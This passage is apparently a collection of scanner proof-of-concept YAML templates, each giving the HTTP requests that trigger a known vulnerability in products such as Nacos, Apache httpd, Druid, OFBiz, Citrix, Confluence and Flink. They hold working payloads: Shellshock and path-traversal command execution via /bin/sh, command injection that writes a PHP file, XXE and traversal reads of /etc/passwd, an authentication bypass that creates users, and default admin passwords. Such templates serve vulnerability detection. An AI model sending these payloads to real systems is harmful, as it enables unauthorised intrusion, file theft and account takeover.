r1: randomLowercase(16)
r2: randomLowercase(16)
rules:
r0:
request:
cache: true
method: POST
# 增加了 bypass 的方式
path: /nacos/v1/auth/users/?username={{r1}}&password={{r2}}
headers:
User-Agent: Nacos-Server
expression: response.status == 200 && response.body.bcontains(bytes("create user ok!"))
r1:
request:
cache: true
method: GET
path: /nacos/v1/auth/users/?pageNo=1&pageSize=999
headers:
User-Agent: Nacos-Server
expression: response.status == 200 && response.body.bcontains(bytes(r1))
r2:
request:
cache: true
method: DELETE
path: /nacos/v1/auth/users/?username={{r1}}
headers:
User-Agent: Nacos-Server
# 不需要判断这个条件
expression: "true"
expression: r0() && r1() && r2()
detail:
author: kmahyyg(https://github.com/kmahyyg)
links:
- https://github.com/alibaba/nacos/issues/4593
- https://github.com/alibaba/nacos/issues/4701
vulnerability:
id: CT-153900
================================================
FILE: pocs/amtt-hiboss-server-ping-rce.yml
================================================
name: poc-yaml-amtt-hiboss-server-ping-rce
manual: true
transport: http
set:
r2: randomLowercase(10)
rules:
r0:
request:
cache: true
method: GET
path: /manager/radius/server_ping.php?ip=127.0.0.1|echo%20"<?php%20echo%20md5({{r2}});unlink(__FILE__);?>">../../{{r2}}.php&id=1
expression: response.status == 200 && response.body.bcontains(b"parent.doTestResult")
r1:
request:
cache: true
method: GET
path: /{{r2}}.php
expression: response.status == 200 && response.body.bcontains(bytes(md5(r2)))
expression: r0() && r1()
detail:
author: YekkoY
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%20%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9F%20server_ping.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
description: 安美数字-酒店宽带运营系统-远程命令执行漏洞
================================================
FILE: pocs/apache-ambari-default-password.yml
================================================
name: poc-yaml-apache-ambari-default-password
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name
headers:
Authorization: Basic YWRtaW46YWRtaW4=
expression: response.status == 200 && response.body.bcontains(b"PrivilegeInfo") && response.body.bcontains(b"AMBARI.ADMINISTRATOR")
expression: r0()
detail:
author: wulalalaaa(https://github.com/wulalalaaa)
links:
- https://cwiki.apache.org/confluence/display/AMBARI/Quick+Start+Guide
================================================
FILE: pocs/apache-druid-cve-2021-36749.yml
================================================
name: poc-yaml-apache-druid-cve-2021-36749
manual: true
transport: http
rules:
druid1:
request:
cache: true
method: POST
path: /druid/indexer/v1/sampler?for=connect
headers:
Content-Type: application/json;charset=utf-8
body: |
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}}},"samplerConfig":{"numRows":500}}
expression: response.status == 200 && response.content_type.contains("json") && "root:[x*]:0:0:".bmatches(response.body)
druid2:
request:
cache: true
method: POST
path: /druid/indexer/v1/sampler?for=connect
headers:
Content-Type: application/json;charset=utf-8
body: |
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///c://windows/win.ini"]}}},"samplerConfig":{"numRows":500}}
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"for 16-bit app support")
expression: druid1() || druid2()
detail:
author: iak3ec(https://github.com/nu0l)
links:
- https://mp.weixin.qq.com/s/Fl2hSO-y60VsTi5YJFyl0w
================================================
FILE: pocs/apache-flink-upload-rce.yml
================================================
name: poc-yaml-apache-flink-upload-rce
manual: true
transport: http
set:
r1: randomLowercase(8)
r2: randomLowercase(4)
rules:
r0:
request:
cache: true
method: GET
path: /jars
follow_redirects: true
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"address") && response.body.bcontains(b"files")
r1:
request:
cache: true
method: POST
path: /jars/upload
headers:
Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
body: "\
--8ce4b16b22b58894aa86c421e8759df3\r\n\
Content-Disposition: form-data; name=\"jarfile\";filename=\"{{r2}}.jar\"\r\n\
Content-Type:application/octet-stream\r\n\
\r\n\
{{r1}}\r\n\
--8ce4b16b22b58894aa86c421e8759df3--\r\n\
"
follow_redirects: true
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
output:
search: '"(?P<filen>([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))".bsubmatch(response.body)'
filen: search["filen"]
r2:
request:
cache: true
method: DELETE
path: /jars/{{filen}}
follow_redirects: true
expression: response.status == 200
expression: r0() && r1() && r2()
detail:
author: timwhite
links:
- https://github.com/LandGrey/flink-unauth-rce
================================================
FILE: pocs/apache-httpd-cve-2021-40438-ssrf.yml
================================================
name: poc-yaml-apache-httpd-cve-2021-40438-ssrf
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets
follow_redirects: false
expression: response.status == 302 && response.headers["location"] == "http://www.baidu.com/search/error.html"
expression: r0()
detail:
author: Jarcis-cy(https://github.com/Jarcis-cy)
links:
- https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438
================================================
FILE: pocs/apache-httpd-cve-2021-41773-path-traversal.yml
================================================
name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal
manual: true
transport: http
rules:
cgibin0:
request:
cache: true
method: GET
path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
icons0:
request:
cache: true
method: GET
path: /icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
expression: cgibin0() || icons0()
detail:
author: JingLing(https://github.com/shmilylty)
links:
- https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ
================================================
FILE: pocs/apache-httpd-cve-2021-41773-rce.yml
================================================
name: poc-yaml-apache-httpd-cve-2021-41773-rce
manual: true
transport: http
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
r0:
request:
cache: true
method: POST
path: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
body: echo;expr {{r1}} + {{r2}}
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
expression: r0()
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2021-41773
================================================
FILE: pocs/apache-kylin-unauth-cve-2020-13937.yml
================================================
name: poc-yaml-apache-kylin-unauth-cve-2020-13937
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /kylin/api/admin/config
expression: response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url")
expression: r0()
detail:
author: JingLing(github.com/shmilylty)
links:
- https://s.tencent.com/research/bsafe/1156.html
================================================
FILE: pocs/apache-nifi-api-unauthorized-access.yml
================================================
name: poc-yaml-apache-nifi-api-unauthorized-access
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /nifi-api/flow/current-user
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"identity\":\"anonymous\",\"anonymous\":true")
expression: r0()
detail:
author: wulalalaaa(https://github.com/wulalalaaa)
links:
- https://nifi.apache.org/docs/nifi-docs/rest-api/index.html
================================================
FILE: pocs/apache-ofbiz-cve-2018-8033-xxe.yml
================================================
name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /webtools/control/xmlrpc
headers:
Content-Type: application/xml
body: <?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("text/xml") && "root:[x*]:0:0:".bmatches(response.body)
expression: r0()
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
================================================
FILE: pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml
================================================
name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization
manual: true
transport: http
set:
rand: randomInt(200000000, 210000000)
rules:
r0:
request:
cache: true
method: POST
path: /webtools/control/xmlrpc
headers:
Content-Type: application/xml
body: <?xml version="1.0"?><methodCall><methodName>{{rand}}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
expression: r0()
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb
================================================
FILE: pocs/apache-storm-unauthorized-access.yml
================================================
name: poc-yaml-apache-storm-unauthorized-access
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /api/v1/cluster/summary
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"{\"totalMem\":") && response.body.bcontains(b"\"stormVersion\":")
expression: r0()
detail:
author: wulalalaaa(https://github.com/wulalalaaa)
links:
- https://storm.apache.org/releases/current/STORM-UI-REST-API.html
================================================
FILE: pocs/aspcms-backend-leak.yml
================================================
name: poc-yaml-aspcms-backend-leak
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /plug/oem/AspCms_OEMFun.asp
expression: response.status == 200 && "<script>alert".bmatches(response.body) && "top.location.href='(.*?)';".bmatches(response.body)
output:
search: '"(?P<path>(/(.*?).asp))".bsubmatch(response.body)'
path: search["path"]
r1:
request:
cache: true
method: GET
path: /{{path}}
expression: response.status == 200 && response.body.bcontains(b"username")
expression: r0() && r1()
detail:
author: Hzllaga
links:
- https://www.onebug.org/wooyundata/65458.html
================================================
FILE: pocs/bash-cve-2014-6271.yml
================================================
name: poc-yaml-bash-cve-2014-6271
manual: true
transport: http
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
r0:
request:
cache: true
method: GET
headers:
User-Agent: () { :; }; echo; echo; /bin/bash -c 'expr {{r1}} + {{r2}}'
follow_redirects: false
expression: response.body.bcontains(bytes(string(r1 + r2)))
expression: r0()
detail:
author: neal1991(https://github.com/neal1991)
links:
- https://github.com/opsxcq/exploit-CVE-2014-6271
================================================
FILE: pocs/bt742-pma-unauthorized-access.yml
================================================
name: poc-yaml-bt742-pma-unauthorized-access
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /pma/
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"information_schema") && response.body.bcontains(b"phpMyAdmin") && response.body.bcontains(b"server_sql.php")
expression: r0()
detail:
author: Facker007(https://github.com/Facker007)
links:
- https://mp.weixin.qq.com/s/KgAaFRKarMdycYzETyKS8A
================================================
FILE: pocs/cacti-weathermap-file-write.yml
================================================
name: poc-yaml-cacti-weathermap-file-write
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=46ea1712d4b13b55b3f680cc5b8b54e8&map_legend=Traffic+Load&map_stamp=Created%3A%2B%25b%2B%25d%2B%25Y%2B%25H%3A%25M%3A%25S&map_linkdefaultwidth=7
follow_redirects: false
expression: response.status == 200
r1:
request:
cache: true
method: GET
path: /plugins/weathermap/configs/test.php
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"46ea1712d4b13b55b3f680cc5b8b54e8")
expression: r0() && r1()
detail:
author: whynot(https://github.com/notwhy)
links:
- https://www.secpulse.com/archives/47690.html
================================================
FILE: pocs/chinaunicom-modem-default-password.yml
================================================
name: poc-yaml-chinaunicom-modem-default-password
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /cu.html
body: frashnum=&action=login&Frm_Logintoken=1&Username=CUAdmin&Password=CUAdmin&Username=&Password=
follow_redirects: false
expression: response.status == 302 && response.headers["location"] == "/menu.gch"
expression: r0()
detail: {}
================================================
FILE: pocs/cisco-cve-2020-3452-readfile.yml
================================================
name: poc-yaml-cisco-cve-2020-3452-readfile
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
follow_redirects: false
expression: response.status == 200 && response.headers["Content-Type"] == "application/octet-stream" && response.body.bcontains(b"INTERNAL_PASSWORD_ENABLED")
expression: r0()
detail:
author: JrD (https://github.com/JrDw0/)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2020-3452
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
================================================
FILE: pocs/citrix-cve-2019-19781-path-traversal.yml
================================================
name: poc-yaml-citrix-cve-2019-19781-path-traversal
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /vpn/../vpns/cfg/smb.conf
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"encrypt passwords") && response.body.bcontains(b"name resolve order")
expression: r0()
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know/
================================================
FILE: pocs/citrix-cve-2020-8191-xss.yml
================================================
name: poc-yaml-citrix-cve-2020-8191-xss
manual: true
transport: http
set:
r1: randomLowercase(6)
rules:
r0:
request:
cache: true
method: POST
path: /menu/stapp
headers:
Content-Type: application/x-www-form-urlencoded
body: sid=254&pe=1%2C2%2C3%2C4%2C5&appname=%0D%0A%3C%2Ftitle%3E%3Cscript%3Ealert%28{{r1}}%29%3B%3C%2Fscript%3E&au=1&username=nsroot
follow_redirects: true
expression: response.body.bcontains(bytes("<script>alert(" + r1 + ");</script>")) && response.body.bcontains(b"citrix")
expression: r0()
detail:
author: JingLing(https://hackfun.org/)
links:
- https://support.citrix.com/article/CTX276688
- https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/
- https://dmaasland.github.io/posts/citrix.html
================================================
FILE: pocs/citrix-cve-2020-8193-unauthorized.yml
================================================
name: poc-yaml-citrix-cve-2020-8193-unauthorized
manual: true
transport: http
set:
user: randomLowercase(8)
pass: randomLowercase(8)
rules:
r0:
request:
cache: true
method: POST
path: /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1
headers:
Content-Type: application/xml
X-NITRO-PASS: '{{pass}}'
X-NITRO-USER: '{{user}}'
body: <appfwprofile><login></login></appfwprofile>
follow_redirects: false
expression: response.status == 406 && "(?i)SESSID=\\w{32}".bmatches(bytes(response.headers["Set-Cookie"]))
expression: r0()
detail:
author: bufsnake(https://github.com/bufsnake)
links:
- https://github.com/PR3R00T/CVE-2020-8193-Citrix-Scanner/blob/master/scanner.py
- https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html
================================================
FILE: pocs/citrix-xenmobile-cve-2020-8209.yml
================================================
name: poc-yaml-citrix-xenmobile-cve-2020-8209
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("octet-stream") && "^root:[x*]:0:0:".bmatches(response.body)
expression: r0()
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2020-8209
================================================
FILE: pocs/coldfusion-cve-2010-2861-lfi.yml
================================================
name: poc-yaml-coldfusion-cve-2010-2861-lfi
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(b"rdspassword=") && response.body.bcontains(b"encrypted=")
expression: r0()
detail:
author: sharecast
links:
- https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
version: 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions
================================================
FILE: pocs/confluence-cve-2015-8399.yml
================================================
name: poc-yaml-confluence-cve-2015-8399
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /spaces/viewdefaultdecorator.action?decoratorName
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"confluence-init.properties") && response.body.bcontains(b"View Default Decorator")
expression: r0()
detail:
author: whynot(https://github.com/notwhy)
links:
- https://www.anquanke.com/vul/id/1150798
================================================
FILE: pocs/confluence-cve-2019-3396-lfi.yml
================================================
name: poc-yaml-confluence-cve-2019-3396-lfi
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /rest/tinymce/1/macro/preview
headers:
Content-Type: application/json
Host: localhost
Referer: http://localhost
body: '{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"}}}'
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(b"<param-name>contextConfigLocation</param-name>")
expression: r0()
detail:
author: sharecast
links:
- https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
================================================
FILE: pocs/confluence-cve-2021-26084.yml
================================================
name: poc-yaml-confluence-cve-2021-26084
manual: true
transport: http
set:
r1: randomInt(100000, 999999)
r2: randomInt(100000, 999999)
rules:
r0:
request:
cache: true
method: POST
path: /pages/createpage-entervariables.action?SpaceKey=x
body: |
queryString=\u0027%2b%7b{{r1}}%2B{{r2}}%7d%2b\u0027
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
expression: r0()
detail:
author: Loneyer(https://github.com/Loneyers)
links:
- https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
================================================
FILE: pocs/confluence-cve-2021-26085-arbitrary-file-read.yml
================================================
name: poc-yaml-confluence-cve-2021-26085-arbitrary-file-read
manual: true
transport: http
set:
rand: randomLowercase(6)
rules:
r0:
request:
cache: true
method: GET
path: /s/{{rand}}/_/;/WEB-INF/web.xml
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"<display-name>Confluence</display-name>") && response.body.bcontains(b"com.atlassian.confluence.setup.ConfluenceAppConfig")
expression: r0()
detail:
author: wulalalaaa(https://github.com/wulalalaaa)
links:
- https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
================================================
FILE: pocs/consul-rexec-rce.yml
================================================
name: poc-yaml-consul-rexec-rce
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /v1/agent/self
expression: 'response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"DisableRemoteExec\": false")'
expression: r0()
detail:
author: imlonghao(https://imlonghao.com/)
links:
- https://www.exploit-db.com/exploits/46073
================================================
FILE: pocs/consul-service-rce.yml
================================================
name: poc-yaml-consul-service-rce
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /v1/agent/self
expression: 'response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"EnableScriptChecks\": true") || response.body.bcontains(b"\"EnableRemoteScriptChecks\": true")'
expression: r0()
detail:
author: imlonghao(https://imlonghao.com/)
links:
- https://www.exploit-db.com/exploits/46074
================================================
FILE: pocs/coremail-cnvd-2019-16798.yml
================================================
name: poc-yaml-coremail-cnvd-2019-16798
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /mailsms/s?func=ADMIN:appState&dumpConfig=/
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes("<object name=\"cm_md_db\">"))
expression: r0()
detail:
author: cc_ci(https://github.com/cc8ci)
links:
- https://www.secpulse.com/archives/107611.html
================================================
FILE: pocs/couchcms-cve-2018-7662.yml
================================================
name: poc-yaml-couchcms-cve-2018-7662
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /includes/mysql2i/mysql2i.func.php
follow_redirects: false
expression: 'response.status == 200 && response.body.bcontains(b"mysql2i.func.php on line 10") && response.body.bcontains(b"Fatal error: Cannot redeclare mysql_affected_rows() in")'
r1:
request:
cache: true
method: GET
path: /addons/phpmailer/phpmailer.php
follow_redirects: false
expression: 'response.status == 200 && response.body.bcontains(b"phpmailer.php on line 10") && response.body.bcontains(b"Fatal error: Call to a menber function add_event_listener() on a non-object in")'
expression: r0() && r1()
detail:
author: we1x4n(https://we1x4n.github.io/)
links:
- https://github.com/CouchCMS/CouchCMS/issues/46
================================================
FILE: pocs/couchdb-cve-2017-12635.yml
================================================
name: poc-yaml-couchdb-cve-2017-12635
manual: true
transport: http
set:
r1: randomLowercase(32)
rules:
r0:
request:
cache: true
method: PUT
path: /_users/org.couchdb.user:{{r1}}
